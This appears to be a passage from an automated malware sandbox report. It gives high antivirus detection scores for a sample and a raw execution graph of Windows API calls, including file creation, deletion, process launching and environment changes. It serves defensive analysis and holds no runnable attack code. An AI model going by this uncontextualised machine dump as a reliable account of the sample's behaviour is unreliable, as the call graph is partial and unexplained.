                                                                      • Detection: 100%, Avira
                                                                      • Detection: 100%, Joe Sandbox ML
                                                                      • Detection: 71%, ReversingLabs
                                                                      • Detection: 75%, Virustotal, Browse
                                                                      Reputation:low
                                                                      Has exited:false

                                                                      Disassembly

                                                                      Reset < >

                                                                        Execution Graph

                                                                        Execution Coverage:9.6%
                                                                        Dynamic/Decrypted Code Coverage:0%
                                                                        Signature Coverage:9.2%
                                                                        Total number of Nodes:1506
                                                                        Total number of Limit Nodes:27
                                                                        execution_graph 23434 30bb30 23435 30bb39 23434->23435 23436 30bb42 23434->23436 23438 30ba27 23435->23438 23458 3097e5 GetLastError 23438->23458 23440 30ba34 23478 30bb4e 23440->23478 23442 30ba3c 23487 30b7bb 23442->23487 23445 30ba53 23445->23436 23451 30ba91 23511 3091a8 20 API calls __dosmaperr 23451->23511 23453 30ba96 23512 308dcc 23453->23512 23454 30baae 23455 308dcc _free 20 API calls 23454->23455 23456 30bada 23454->23456 23455->23456 23456->23453 23518 30b691 26 API calls 23456->23518 23459 309801 23458->23459 23460 3097fb 23458->23460 23464 309850 SetLastError 23459->23464 23520 30b136 23459->23520 23519 30ae5b 11 API calls 2 library calls 23460->23519 23464->23440 23465 30981b 23467 308dcc _free 20 API calls 23465->23467 23469 309821 23467->23469 23468 309830 23468->23465 23470 309837 23468->23470 23471 30985c SetLastError 23469->23471 23528 309649 20 API calls __dosmaperr 23470->23528 23529 308d24 38 API calls _abort 23471->23529 23473 309842 23475 308dcc _free 20 API calls 23473->23475 23477 309849 23475->23477 23477->23464 23477->23471 23479 30bb5a __FrameHandler3::FrameUnwindToState 23478->23479 23480 3097e5 _unexpected 38 API calls 23479->23480 23482 30bb64 23480->23482 23484 30bbe8 _abort 23482->23484 23486 308dcc _free 20 API calls 23482->23486 23532 308d24 38 API calls _abort 23482->23532 23533 30ac31 EnterCriticalSection 23482->23533 23534 30bbdf LeaveCriticalSection _abort 23482->23534 23484->23442 23486->23482 23535 304636 23487->23535 23490 30b7dc GetOEMCP 23492 30b805 23490->23492 23491 30b7ee 23491->23492 23493 30b7f3 GetACP 23491->23493 23492->23445 23494 308e06 23492->23494 23493->23492 23495 308e44 23494->23495 23496 308e14 __dosmaperr 23494->23496 23546 3091a8 20 API calls __dosmaperr 23495->23546 23496->23495 23497 308e2f RtlAllocateHeap 23496->23497 23545 307a5e 7 API calls 2 library calls 23496->23545 23497->23496 23499 308e42 23497->23499 23499->23453 23501 30bbf0 23499->23501 23502 30b7bb 40 API calls 23501->23502 23503 30bc0f 23502->23503 23506 30bc60 IsValidCodePage 23503->23506 23508 30bc16 23503->23508 23510 30bc85 _abort 23503->23510 23505 30ba89 23505->23451 23505->23454 23507 30bc72 GetCPInfo 23506->23507 23506->23508 23507->23508 23507->23510 23557 2ffbbc 23508->23557 23547 30b893 GetCPInfo 23510->23547 23511->23453 23513 308e00 __dosmaperr 23512->23513 23514 308dd7 RtlFreeHeap 23512->23514 23513->23445 23514->23513 23515 308dec 23514->23515 23638 3091a8 20 API calls __dosmaperr 23515->23638 23517 308df2 GetLastError 23517->23513 23518->23453 23519->23459 23525 30b143 __dosmaperr 23520->23525 23521 30b16e RtlAllocateHeap 23523 309813 23521->23523 23521->23525 23522 30b183 23531 3091a8 20 API calls __dosmaperr 23522->23531 23523->23465 23527 30aeb1 11 API calls 2 library calls 23523->23527 23525->23521 23525->23522 23530 307a5e 7 API calls 2 library calls 23525->23530 23527->23468 23528->23473 23530->23525 23531->23523 23533->23482 23534->23482 23536 304653 23535->23536 23537 304649 23535->23537 23536->23537 23538 3097e5 _unexpected 38 API calls 23536->23538 23537->23490 23537->23491 23539 304674 23538->23539 23543 30993a 38 API calls __cftof 23539->23543 23541 30468d 23544 309967 38 API calls __cftof 23541->23544 23543->23541 23544->23537 23545->23496 23546->23499 23548 30b977 23547->23548 23554 30b8cd 23547->23554 23551 2ffbbc _ValidateLocalCookies 5 API calls 23548->23551 23553 30ba23 23551->23553 23553->23508 23564 30c988 23554->23564 23556 30ab78 __vswprintf_c_l 43 API calls 23556->23548 23558 2ffbc5 IsProcessorFeaturePresent 23557->23558 23559 2ffbc4 23557->23559 23561 2ffc07 23558->23561 23559->23505 23637 2ffbca SetUnhandledExceptionFilter UnhandledExceptionFilter GetCurrentProcess TerminateProcess 23561->23637 23563 2ffcea 23563->23505 23565 304636 __cftof 38 API calls 23564->23565 23566 30c9a8 MultiByteToWideChar 23565->23566 23568 30c9e6 23566->23568 23575 30ca7e 23566->23575 23570 308e06 __vswprintf_c_l 21 API calls 23568->23570 23574 30ca07 _abort __vsnwprintf_l 23568->23574 23569 2ffbbc _ValidateLocalCookies 5 API calls 23571 30b92e 23569->23571 23570->23574 23578 30ab78 23571->23578 23572 30ca78 23583 30abc3 20 API calls _free 23572->23583 23574->23572 23576 30ca4c MultiByteToWideChar 23574->23576 23575->23569 23576->23572 23577 30ca68 GetStringTypeW 23576->23577 23577->23572 23579 304636 __cftof 38 API calls 23578->23579 23580 30ab8b 23579->23580 23584 30a95b 23580->23584 23583->23575 23585 30a976 __vswprintf_c_l 23584->23585 23586 30a99c MultiByteToWideChar 23585->23586 23587 30ab50 23586->23587 23588 30a9c6 23586->23588 23589 2ffbbc _ValidateLocalCookies 5 API calls 23587->23589 23591 308e06 __vswprintf_c_l 21 API calls 23588->23591 23593 30a9e7 __vsnwprintf_l 23588->23593 23590 30ab63 23589->23590 23590->23556 23591->23593 23592 30aa30 MultiByteToWideChar 23594 30aa49 23592->23594 23606 30aa9c 23592->23606 23593->23592 23593->23606 23611 30af6c 23594->23611 23598 30aa73 23601 30af6c __vswprintf_c_l 11 API calls 23598->23601 23598->23606 23599 30aaab 23600 308e06 __vswprintf_c_l 21 API calls 23599->23600 23607 30aacc __vsnwprintf_l 23599->23607 23600->23607 23601->23606 23602 30ab41 23619 30abc3 20 API calls _free 23602->23619 23603 30af6c __vswprintf_c_l 11 API calls 23605 30ab20 23603->23605 23605->23602 23608 30ab2f WideCharToMultiByte 23605->23608 23620 30abc3 20 API calls _free 23606->23620 23607->23602 23607->23603 23608->23602 23609 30ab6f 23608->23609 23621 30abc3 20 API calls _free 23609->23621 23622 30ac98 23611->23622 23614 30af9c 23617 2ffbbc _ValidateLocalCookies 5 API calls 23614->23617 23616 30afdc LCMapStringW 23616->23614 23618 30aa60 23617->23618 23618->23598 23618->23599 23618->23606 23619->23606 23620->23587 23621->23606 23623 30acc8 23622->23623 23626 30acc4 23622->23626 23623->23614 23629 30aff4 10 API calls 3 library calls 23623->23629 23624 30ace8 23624->23623 23627 30acf4 GetProcAddress 23624->23627 23626->23623 23626->23624 23630 30ad34 23626->23630 23628 30ad04 __dosmaperr 23627->23628 23628->23623 23629->23616 23631 30ad55 LoadLibraryExW 23630->23631 23635 30ad4a 23630->23635 23632 30ad72 GetLastError 23631->23632 23633 30ad8a 23631->23633 23632->23633 23636 30ad7d LoadLibraryExW 23632->23636 23634 30ada1 FreeLibrary 23633->23634 23633->23635 23634->23635 23635->23626 23636->23633 23637->23563 23638->23517 25373 30c030 GetProcessHeap 25374 2e1025 29 API calls 25375 2fc220 93 API calls _swprintf 25377 30f421 21 API calls __vswprintf_c_l 25424 2ff530 GetSystemTimeAsFileTime GetCurrentThreadId GetCurrentProcessId QueryPerformanceCounter ___security_init_cookie 25425 2fff30 LocalFree 25381 2fa400 GdipDisposeImage GdipFree 25382 2fd600 70 API calls 25383 306000 QueryPerformanceFrequency QueryPerformanceCounter 25385 30f200 51 API calls 25427 302900 6 API calls 4 library calls 25429 30a700 21 API calls 25432 2e1710 86 API calls 25433 2fad10 73 API calls 25386 2fc793 107 API calls 5 library calls 25252 2e9f7a 25253 2e9f8f 25252->25253 25254 2e9f88 25252->25254 25255 2e9f9c GetStdHandle 25253->25255 25259 2e9fab 25253->25259 25255->25259 25256 2ea003 WriteFile 25256->25259 25257 2e9fcf 25258 2e9fd4 WriteFile 25257->25258 25257->25259 25258->25257 25258->25259 25259->25254 25259->25256 25259->25257 25259->25258 25261 2ea095 25259->25261 25263 2e6baa 78 API calls 25259->25263 25264 2e6e98 77 API calls 25261->25264 25263->25259 25264->25254 25388 308268 55 API calls _free 25266 2e9a74 25267 2e9a7e 25266->25267 25268 2e9b9d SetFilePointer 25267->25268 25270 2e981a 79 API calls 25267->25270 25271 2e9b79 25267->25271 25272 2e9ab1 25267->25272 25269 2e9bb6 GetLastError 25268->25269 25268->25272 25269->25272 25270->25271 25271->25268 25389 2e1075 84 API calls 25435 2e1f72 128 API calls __EH_prolog 25436 307f6e 52 API calls 3 library calls 25390 2fa070 10 API calls 25392 2fb270 99 API calls 25394 2fa440 GdipCloneImage GdipAlloc 25395 303a40 5 API calls _ValidateLocalCookies 25440 311f40 CloseHandle 25293 2fcd58 25294 2fce22 25293->25294 25300 2fcd7b _wcschr 25293->25300 25307 2fc793 _wcslen _wcsrchr 25294->25307 25321 2fd78f 25294->25321 25295 2fb314 ExpandEnvironmentStringsW 25295->25307 25297 2fd40a 25298 2f1fbb CompareStringW 25298->25300 25300->25294 25300->25298 25301 2fca67 SetWindowTextW 25301->25307 25304 303e3e 22 API calls 25304->25307 25306 2fc855 SetFileAttributesW 25309 2fc90f GetFileAttributesW 25306->25309 25319 2fc86f _abort _wcslen 25306->25319 25307->25295 25307->25297 25307->25301 25307->25304 25307->25306 25312 2fcc31 GetDlgItem SetWindowTextW SendMessageW 25307->25312 25315 2fcc71 SendMessageW 25307->25315 25320 2f1fbb CompareStringW 25307->25320 25345 2fa64d GetCurrentDirectoryW 25307->25345 25347 2ea5d1 6 API calls 25307->25347 25348 2ea55a FindClose 25307->25348 25349 2fb48e 76 API calls 2 library calls 25307->25349 25309->25307 25310 2fc921 DeleteFileW 25309->25310 25310->25307 25313 2fc932 25310->25313 25312->25307 25314 2e4092 _swprintf 51 API calls 25313->25314 25316 2fc952 GetFileAttributesW 25314->25316 25315->25307 25316->25313 25317 2fc967 MoveFileW 25316->25317 25317->25307 25318 2fc97f MoveFileExW 25317->25318 25318->25307 25319->25307 25319->25309 25346 2eb991 51 API calls 3 library calls 25319->25346 25320->25307 25324 2fd799 _abort _wcslen 25321->25324 25322 2fd9e7 25322->25307 25323 2fd9c0 25323->25322 25329 2fd9de ShowWindow 25323->25329 25324->25322 25324->25323 25325 2fd8a5 25324->25325 25350 2f1fbb CompareStringW 25324->25350 25326 2ea231 3 API calls 25325->25326 25328 2fd8ba 25326->25328 25330 2fd8d9 ShellExecuteExW 25328->25330 25351 2eb6c4 GetFullPathNameW GetFullPathNameW GetCurrentDirectoryW 25328->25351 25329->25322 25330->25322 25337 2fd8ec 25330->25337 25332 2fd8d1 25332->25330 25333 2fd925 25352 2fdc3b 6 API calls 25333->25352 25334 2fd97b CloseHandle 25335 2fd989 25334->25335 25336 2fd994 25334->25336 25353 2f1fbb CompareStringW 25335->25353 25336->25323 25337->25333 25337->25334 25338 2fd91b ShowWindow 25337->25338 25338->25333 25341 2fd93d 25341->25334 25342 2fd950 GetExitCodeProcess 25341->25342 25342->25334 25343 2fd963 25342->25343 25343->25334 25345->25307 25346->25319 25347->25307 25348->25307 25349->25307 25350->25325 25351->25332 25352->25341 25353->25336 25397 2fe455 14 API calls ___delayLoadHelper2@8 25443 2e6faa 111 API calls 3 library calls 25444 30b1b8 27 API calls 3 library calls 25445 2feda7 48 API calls _unexpected 25398 2fdca1 DialogBoxParamW 25446 2ff3a0 27 API calls 25401 30a4a0 71 API calls _free 25402 3108a0 IsProcessorFeaturePresent 25447 2f1bbd GetCPInfo IsDBCSLeadByte 23651 2ff3b2 23652 2ff3be __FrameHandler3::FrameUnwindToState 23651->23652 23683 2feed7 23652->23683 23654 2ff3c5 23655 2ff518 23654->23655 23658 2ff3ef 23654->23658 23756 2ff838 IsProcessorFeaturePresent IsDebuggerPresent SetUnhandledExceptionFilter UnhandledExceptionFilter _abort 23655->23756 23657 2ff51f 23749 307f58 23657->23749 23669 2ff42e ___scrt_is_nonwritable_in_current_image ___scrt_release_startup_lock 23658->23669 23694 308aed 23658->23694 23665 2ff40e 23667 2ff48f 23702 2ff953 GetStartupInfoW _abort 23667->23702 23669->23667 23752 307af4 38 API calls 3 library calls 23669->23752 23670 2ff495 23703 308a3e 51 API calls 23670->23703 23672 2ff49d 23704 2fdf1e 23672->23704 23677 2ff4b1 23677->23657 23678 2ff4b5 23677->23678 23679 2ff4be 23678->23679 23754 307efb 28 API calls _abort 23678->23754 23755 2ff048 12 API calls ___scrt_uninitialize_crt 23679->23755 23682 2ff4c6 23682->23665 23684 2feee0 23683->23684 23758 2ff654 IsProcessorFeaturePresent 23684->23758 23686 2feeec 23759 302a5e 23686->23759 23688 2feef1 23689 2feef5 23688->23689 23767 308977 23688->23767 23689->23654 23692 2fef0c 23692->23654 23697 308b04 23694->23697 23695 2ffbbc _ValidateLocalCookies 5 API calls 23696 2ff408 23695->23696 23696->23665 23698 308a91 23696->23698 23697->23695 23699 308ac0 23698->23699 23700 2ffbbc _ValidateLocalCookies 5 API calls 23699->23700 23701 308ae9 23700->23701 23701->23669 23702->23670 23703->23672 23867 2f0863 23704->23867 23708 2fdf3d 23916 2fac16 23708->23916 23710 2fdf46 _abort 23711 2fdf59 GetCommandLineW 23710->23711 23712 2fdf68 23711->23712 23713 2fdfe6 GetModuleFileNameW SetEnvironmentVariableW GetLocalTime 23711->23713 23920 2fc5c4 23712->23920 23931 2e4092 23713->23931 23719 2fdf76 OpenFileMappingW 23723 2fdf8f MapViewOfFile 23719->23723 23724 2fdfd6 CloseHandle 23719->23724 23720 2fdfe0 23925 2fdbde 23720->23925 23725 2fdfcd UnmapViewOfFile 23723->23725 23726 2fdfa0 __InternalCxxFrameHandler 23723->23726 23724->23713 23725->23724 23731 2fdbde 2 API calls 23726->23731 23733 2fdfbc 23731->23733 23732 2f90b7 8 API calls 23734 2fe0aa DialogBoxParamW 23732->23734 23733->23725 23735 2fe0e4 23734->23735 23736 2fe0fd 23735->23736 23737 2fe0f6 Sleep 23735->23737 23739 2fe10b 23736->23739 23964 2fae2f CompareStringW SetCurrentDirectoryW _abort _wcslen 23736->23964 23737->23736 23740 2fe12a DeleteObject 23739->23740 23741 2fe13f DeleteObject 23740->23741 23742 2fe146 23740->23742 23741->23742 23743 2fe189 23742->23743 23744 2fe177 23742->23744 23961 2fac7c 23743->23961 23965 2fdc3b 6 API calls 23744->23965 23747 2fe17d CloseHandle 23747->23743 23748 2fe1c3 23753 2ff993 GetModuleHandleW 23748->23753 24214 307cd5 23749->24214 23752->23667 23753->23677 23754->23679 23755->23682 23756->23657 23758->23686 23771 303b07 23759->23771 23762 302a67 23762->23688 23764 302a6f 23765 302a7a 23764->23765 23785 303b43 DeleteCriticalSection 23764->23785 23765->23688 23814 30c05a 23767->23814 23770 302a7d 7 API calls 2 library calls 23770->23689 23773 303b10 23771->23773 23774 303b39 23773->23774 23775 302a63 23773->23775 23786 303d46 23773->23786 23791 303b43 DeleteCriticalSection 23774->23791 23775->23762 23777 302b8c 23775->23777 23807 303c57 23777->23807 23781 302baf 23782 302bbc 23781->23782 23813 302bbf 6 API calls ___vcrt_FlsFree 23781->23813 23782->23764 23784 302ba1 23784->23764 23785->23762 23792 303c0d 23786->23792 23789 303d7e InitializeCriticalSectionAndSpinCount 23790 303d69 23789->23790 23790->23773 23791->23775 23793 303c26 23792->23793 23797 303c4f 23792->23797 23793->23797 23799 303b72 23793->23799 23796 303c3b GetProcAddress 23796->23797 23798 303c49 23796->23798 23797->23789 23797->23790 23798->23797 23804 303b7e ___vcrt_FlsFree 23799->23804 23800 303bf3 23800->23796 23800->23797 23801 303b95 LoadLibraryExW 23802 303bb3 GetLastError 23801->23802 23803 303bfa 23801->23803 23802->23804 23803->23800 23805 303c02 FreeLibrary 23803->23805 23804->23800 23804->23801 23806 303bd5 LoadLibraryExW 23804->23806 23805->23800 23806->23803 23806->23804 23808 303c0d ___vcrt_FlsFree 5 API calls 23807->23808 23809 303c71 23808->23809 23810 303c8a TlsAlloc 23809->23810 23811 302b96 23809->23811 23811->23784 23812 303d08 6 API calls ___vcrt_FlsFree 23811->23812 23812->23781 23813->23784 23817 30c073 23814->23817 23818 30c077 23814->23818 23815 2ffbbc _ValidateLocalCookies 5 API calls 23816 2feefe 23815->23816 23816->23692 23816->23770 23817->23815 23818->23817 23820 30a6a0 23818->23820 23821 30a6ac __FrameHandler3::FrameUnwindToState 23820->23821 23832 30ac31 EnterCriticalSection 23821->23832 23823 30a6b3 23833 30c528 23823->23833 23825 30a6c2 23826 30a6d1 23825->23826 23846 30a529 29 API calls 23825->23846 23848 30a6ed LeaveCriticalSection _abort 23826->23848 23829 30a6cc 23847 30a5df GetStdHandle GetFileType 23829->23847 23830 30a6e2 _abort 23830->23818 23832->23823 23834 30c534 __FrameHandler3::FrameUnwindToState 23833->23834 23835 30c541 23834->23835 23836 30c558 23834->23836 23857 3091a8 20 API calls __dosmaperr 23835->23857 23849 30ac31 EnterCriticalSection 23836->23849 23839 30c546 23858 309087 26 API calls __cftof 23839->23858 23840 30c564 23845 30c590 23840->23845 23850 30c479 23840->23850 23844 30c550 _abort 23844->23825 23859 30c5b7 LeaveCriticalSection _abort 23845->23859 23846->23829 23847->23826 23848->23830 23849->23840 23851 30b136 __dosmaperr 20 API calls 23850->23851 23852 30c48b 23851->23852 23856 30c498 23852->23856 23860 30af0a 23852->23860 23853 308dcc _free 20 API calls 23854 30c4ea 23853->23854 23854->23840 23856->23853 23857->23839 23858->23844 23859->23844 23861 30ac98 __dosmaperr 5 API calls 23860->23861 23862 30af31 23861->23862 23863 30af4f InitializeCriticalSectionAndSpinCount 23862->23863 23864 30af3a 23862->23864 23863->23864 23865 2ffbbc _ValidateLocalCookies 5 API calls 23864->23865 23866 30af66 23865->23866 23866->23852 23966 2fec50 23867->23966 23870 2f0888 GetProcAddress 23873 2f08b9 GetProcAddress 23870->23873 23874 2f08a1 23870->23874 23871 2f08e7 23872 2f0c14 GetModuleFileNameW 23871->23872 23977 3075fb 42 API calls __vsnwprintf_l 23871->23977 23883 2f0c32 23872->23883 23876 2f08cb 23873->23876 23874->23873 23876->23871 23877 2f0b54 23877->23872 23878 2f0b5f GetModuleFileNameW CreateFileW 23877->23878 23879 2f0b8f SetFilePointer 23878->23879 23880 2f0c08 CloseHandle 23878->23880 23879->23880 23881 2f0b9d ReadFile 23879->23881 23880->23872 23881->23880 23885 2f0bbb 23881->23885 23886 2f0c94 GetFileAttributesW 23883->23886 23888 2f0c5d CompareStringW 23883->23888 23889 2f0cac 23883->23889 23968 2eb146 23883->23968 23971 2f081b 23883->23971 23885->23880 23887 2f081b 2 API calls 23885->23887 23886->23883 23886->23889 23887->23885 23888->23883 23890 2f0cb7 23889->23890 23893 2f0cec 23889->23893 23892 2f0cd0 GetFileAttributesW 23890->23892 23894 2f0ce8 23890->23894 23891 2f0dfb 23915 2fa64d GetCurrentDirectoryW 23891->23915 23892->23890 23892->23894 23893->23891 23895 2eb146 GetVersionExW 23893->23895 23894->23893 23896 2f0d06 23895->23896 23897 2f0d0d 23896->23897 23898 2f0d73 23896->23898 23900 2f081b 2 API calls 23897->23900 23899 2e4092 _swprintf 51 API calls 23898->23899 23902 2f0d9b AllocConsole 23899->23902 23901 2f0d17 23900->23901 23903 2f081b 2 API calls 23901->23903 23904 2f0da8 GetCurrentProcessId AttachConsole 23902->23904 23905 2f0df3 ExitProcess 23902->23905 23906 2f0d21 23903->23906 23982 303e13 23904->23982 23978 2ee617 23906->23978 23908 2f0dc9 GetStdHandle WriteConsoleW Sleep FreeConsole 23908->23905 23911 2e4092 _swprintf 51 API calls 23912 2f0d4f 23911->23912 23913 2ee617 53 API calls 23912->23913 23914 2f0d5e 23913->23914 23914->23905 23915->23708 23917 2f081b 2 API calls 23916->23917 23918 2fac2a OleInitialize 23917->23918 23919 2fac4d GdiplusStartup SHGetMalloc 23918->23919 23919->23710 23923 2fc5ce 23920->23923 23921 2fc6e4 23921->23719 23921->23720 23922 2f1fac CharUpperW 23922->23923 23923->23921 23923->23922 24007 2ef3fa 82 API calls 2 library calls 23923->24007 23926 2fec50 23925->23926 23927 2fdbeb SetEnvironmentVariableW 23926->23927 23929 2fdc0e 23927->23929 23928 2fdc36 23928->23713 23929->23928 23930 2fdc2a SetEnvironmentVariableW 23929->23930 23930->23928 24008 2e4065 23931->24008 23934 2fb6dd LoadBitmapW 23935 2fb6fe 23934->23935 23936 2fb70b GetObjectW 23934->23936 24042 2fa6c2 FindResourceW 23935->24042 23938 2fb71a 23936->23938 24037 2fa5c6 23938->24037 23941 2fb770 23953 2eda42 23941->23953 23942 2fb74c 24056 2fa605 GetDC GetDeviceCaps GetDeviceCaps ReleaseDC 23942->24056 23945 2fa6c2 12 API calls 23947 2fb73d 23945->23947 23946 2fb754 24057 2fa5e4 GetDC GetDeviceCaps GetDeviceCaps ReleaseDC 23946->24057 23947->23942 23949 2fb743 DeleteObject 23947->23949 23949->23942 23950 2fb75d 24058 2fa80c 8 API calls 23950->24058 23952 2fb764 DeleteObject 23952->23941 24069 2eda67 23953->24069 23958 2f90b7 24202 2feb38 23958->24202 23962 2facab GdiplusShutdown OleUninitialize 23961->23962 23962->23748 23964->23739 23965->23747 23967 2f086d GetModuleHandleW 23966->23967 23967->23870 23967->23871 23969 2eb15a GetVersionExW 23968->23969 23970 2eb196 23968->23970 23969->23970 23970->23883 23972 2fec50 23971->23972 23973 2f0828 GetSystemDirectoryW 23972->23973 23974 2f085e 23973->23974 23975 2f0840 23973->23975 23974->23883 23976 2f0851 LoadLibraryW 23975->23976 23976->23974 23977->23877 23979 2ee627 23978->23979 23984 2ee648 23979->23984 23983 303e1b 23982->23983 23983->23908 23983->23983 23990 2ed9b0 23984->23990 23987 2ee66b LoadStringW 23988 2ee645 23987->23988 23989 2ee682 LoadStringW 23987->23989 23988->23911 23989->23988 23995 2ed8ec 23990->23995 23992 2ed9cd 23994 2ed9e2 23992->23994 24003 2ed9f0 26 API calls 23992->24003 23994->23987 23994->23988 23996 2ed904 23995->23996 24002 2ed984 _strncpy 23995->24002 23998 2ed928 23996->23998 24004 2f1da7 WideCharToMultiByte 23996->24004 24001 2ed959 23998->24001 24005 2ee5b1 50 API calls __vsnprintf 23998->24005 24006 306159 26 API calls 3 library calls 24001->24006 24002->23992 24003->23994 24004->23998 24005->24001 24006->24002 24007->23923 24009 2e407c __vsnwprintf_l 24008->24009 24012 305fd4 24009->24012 24015 304097 24012->24015 24016 3040d7 24015->24016 24017 3040bf 24015->24017 24016->24017 24018 3040df 24016->24018 24032 3091a8 20 API calls __dosmaperr 24017->24032 24020 304636 __cftof 38 API calls 24018->24020 24022 3040ef 24020->24022 24021 3040c4 24033 309087 26 API calls __cftof 24021->24033 24034 304601 20 API calls 2 library calls 24022->24034 24025 2ffbbc _ValidateLocalCookies 5 API calls 24027 2e4086 SetEnvironmentVariableW GetModuleHandleW LoadIconW 24025->24027 24026 304167 24035 3049e6 51 API calls 3 library calls 24026->24035 24027->23934 24030 3040cf 24030->24025 24031 304172 24036 3046b9 20 API calls _free 24031->24036 24032->24021 24033->24030 24034->24026 24035->24031 24036->24030 24059 2fa5e4 GetDC GetDeviceCaps GetDeviceCaps ReleaseDC 24037->24059 24039 2fa5cd 24040 2fa5d9 24039->24040 24060 2fa605 GetDC GetDeviceCaps GetDeviceCaps ReleaseDC 24039->24060 24040->23941 24040->23942 24040->23945 24043 2fa7d3 24042->24043 24044 2fa6e5 SizeofResource 24042->24044 24043->23936 24043->23938 24044->24043 24045 2fa6fc LoadResource 24044->24045 24045->24043 24046 2fa711 LockResource 24045->24046 24046->24043 24047 2fa722 GlobalAlloc 24046->24047 24047->24043 24048 2fa73d GlobalLock 24047->24048 24049 2fa7cc GlobalFree 24048->24049 24050 2fa74c __InternalCxxFrameHandler 24048->24050 24049->24043 24051 2fa7c5 GlobalUnlock 24050->24051 24061 2fa626 GdipAlloc 24050->24061 24051->24049 24054 2fa79a GdipCreateHBITMAPFromBitmap 24055 2fa7b0 24054->24055 24055->24051 24056->23946 24057->23950 24058->23952 24059->24039 24060->24040 24062 2fa638 24061->24062 24063 2fa645 24061->24063 24065 2fa3b9 24062->24065 24063->24051 24063->24054 24063->24055 24066 2fa3da GdipCreateBitmapFromStreamICM 24065->24066 24067 2fa3e1 GdipCreateBitmapFromStream 24065->24067 24068 2fa3e6 24066->24068 24067->24068 24068->24063 24070 2eda75 _wcschr __EH_prolog 24069->24070 24071 2edaa4 GetModuleFileNameW 24070->24071 24072 2edad5 24070->24072 24073 2edabe 24071->24073 24115 2e98e0 24072->24115 24073->24072 24075 2edb31 24126 306310 24075->24126 24079 2edb44 24081 306310 26 API calls 24079->24081 24080 2edb05 24080->24075 24082 2ee261 78 API calls 24080->24082 24107 2edd4a 24080->24107 24090 2edb56 ___vcrt_FlsFree 24081->24090 24082->24080 24083 2edc85 24083->24107 24162 2e9d70 81 API calls 24083->24162 24087 2edc9f ___std_exception_copy 24088 2e9bd0 82 API calls 24087->24088 24087->24107 24091 2edcc8 ___std_exception_copy 24088->24091 24090->24083 24090->24107 24140 2e9e80 24090->24140 24156 2e9bd0 24090->24156 24161 2e9d70 81 API calls 24090->24161 24091->24107 24110 2edcd3 _wcslen ___std_exception_copy ___vcrt_FlsFree 24091->24110 24163 2f1b84 MultiByteToWideChar 24091->24163 24093 2ee159 24097 2ee1de 24093->24097 24169 308cce 26 API calls 2 library calls 24093->24169 24096 2ee16e 24170 307625 26 API calls 2 library calls 24096->24170 24098 2ee214 24097->24098 24101 2ee261 78 API calls 24097->24101 24102 306310 26 API calls 24098->24102 24100 2ee1c6 24171 2ee27c 78 API calls 24100->24171 24101->24097 24104 2ee22d 24102->24104 24105 306310 26 API calls 24104->24105 24105->24107 24149 2e959a 24107->24149 24108 2f1da7 WideCharToMultiByte 24108->24110 24110->24093 24110->24107 24110->24108 24164 2ee5b1 50 API calls __vsnprintf 24110->24164 24165 306159 26 API calls 3 library calls 24110->24165 24166 308cce 26 API calls 2 library calls 24110->24166 24167 307625 26 API calls 2 library calls 24110->24167 24168 2ee27c 78 API calls 24110->24168 24113 2ee29e GetModuleHandleW FindResourceW 24114 2eda55 24113->24114 24114->23958 24117 2e98ea 24115->24117 24116 2e994b CreateFileW 24118 2e996c GetLastError 24116->24118 24122 2e99bb 24116->24122 24117->24116 24172 2ebb03 24118->24172 24120 2e998c 24121 2e9990 CreateFileW GetLastError 24120->24121 24120->24122 24121->24122 24124 2e99b5 24121->24124 24123 2e99ff 24122->24123 24125 2e99e5 SetFileTime 24122->24125 24123->24080 24124->24122 24125->24123 24127 306349 24126->24127 24128 30634d 24127->24128 24139 306375 24127->24139 24176 3091a8 20 API calls __dosmaperr 24128->24176 24130 306699 24133 2ffbbc _ValidateLocalCookies 5 API calls 24130->24133 24131 306352 24177 309087 26 API calls __cftof 24131->24177 24134 3066a6 24133->24134 24134->24079 24135 30635d 24136 2ffbbc _ValidateLocalCookies 5 API calls 24135->24136 24138 306369 24136->24138 24138->24079 24139->24130 24178 306230 5 API calls _ValidateLocalCookies 24139->24178 24141 2e9e92 24140->24141 24146 2e9ea5 24140->24146 24142 2e9eb0 24141->24142 24179 2e6d5b 77 API calls 24141->24179 24142->24090 24144 2e9eb8 SetFilePointer 24144->24142 24145 2e9ed4 GetLastError 24144->24145 24145->24142 24147 2e9ede 24145->24147 24146->24142 24146->24144 24147->24142 24180 2e6d5b 77 API calls 24147->24180 24150 2e95be 24149->24150 24155 2e95cf 24149->24155 24151 2e95ca 24150->24151 24152 2e95d1 24150->24152 24150->24155 24181 2e974e 24151->24181 24186 2e9620 24152->24186 24155->24113 24157 2e9bdc 24156->24157 24159 2e9be3 24156->24159 24157->24090 24159->24157 24160 2e9785 GetStdHandle ReadFile GetLastError GetLastError GetFileType 24159->24160 24201 2e6d1a 77 API calls 24159->24201 24160->24159 24161->24090 24162->24087 24163->24110 24164->24110 24165->24110 24166->24110 24167->24110 24168->24110 24169->24096 24170->24100 24171->24097 24173 2ebb10 _wcslen 24172->24173 24174 2ebbb8 GetCurrentDirectoryW 24173->24174 24175 2ebb39 _wcslen 24173->24175 24174->24175 24175->24120 24176->24131 24177->24135 24178->24139 24179->24146 24180->24142 24182 2e9781 24181->24182 24183 2e9757 24181->24183 24182->24155 24183->24182 24192 2ea1e0 24183->24192 24188 2e964a 24186->24188 24189 2e962c 24186->24189 24187 2e9669 24187->24155 24188->24187 24200 2e6bd5 76 API calls 24188->24200 24189->24188 24190 2e9638 FindCloseChangeNotification 24189->24190 24190->24188 24193 2fec50 24192->24193 24194 2ea1ed DeleteFileW 24193->24194 24195 2e977f 24194->24195 24196 2ea200 24194->24196 24195->24155 24197 2ebb03 GetCurrentDirectoryW 24196->24197 24198 2ea214 24197->24198 24198->24195 24199 2ea218 DeleteFileW 24198->24199 24199->24195 24200->24187 24201->24159 24203 2feb3d ___std_exception_copy 24202->24203 24204 2f90d6 24203->24204 24207 2feb59 24203->24207 24211 307a5e 7 API calls 2 library calls 24203->24211 24204->23732 24206 2ff5c9 24213 30238d RaiseException 24206->24213 24207->24206 24212 30238d RaiseException 24207->24212 24210 2ff5e6 24211->24203 24212->24206 24213->24210 24215 307ce1 _unexpected 24214->24215 24216 307ce8 24215->24216 24217 307cfa 24215->24217 24250 307e2f GetModuleHandleW 24216->24250 24238 30ac31 EnterCriticalSection 24217->24238 24220 307ced 24220->24217 24251 307e73 GetModuleHandleExW 24220->24251 24221 307d9f 24239 307ddf 24221->24239 24224 307d76 24227 307d8e 24224->24227 24233 308a91 _abort 5 API calls 24224->24233 24234 308a91 _abort 5 API calls 24227->24234 24228 307de8 24260 312390 5 API calls _ValidateLocalCookies 24228->24260 24229 307dbc 24242 307dee 24229->24242 24233->24227 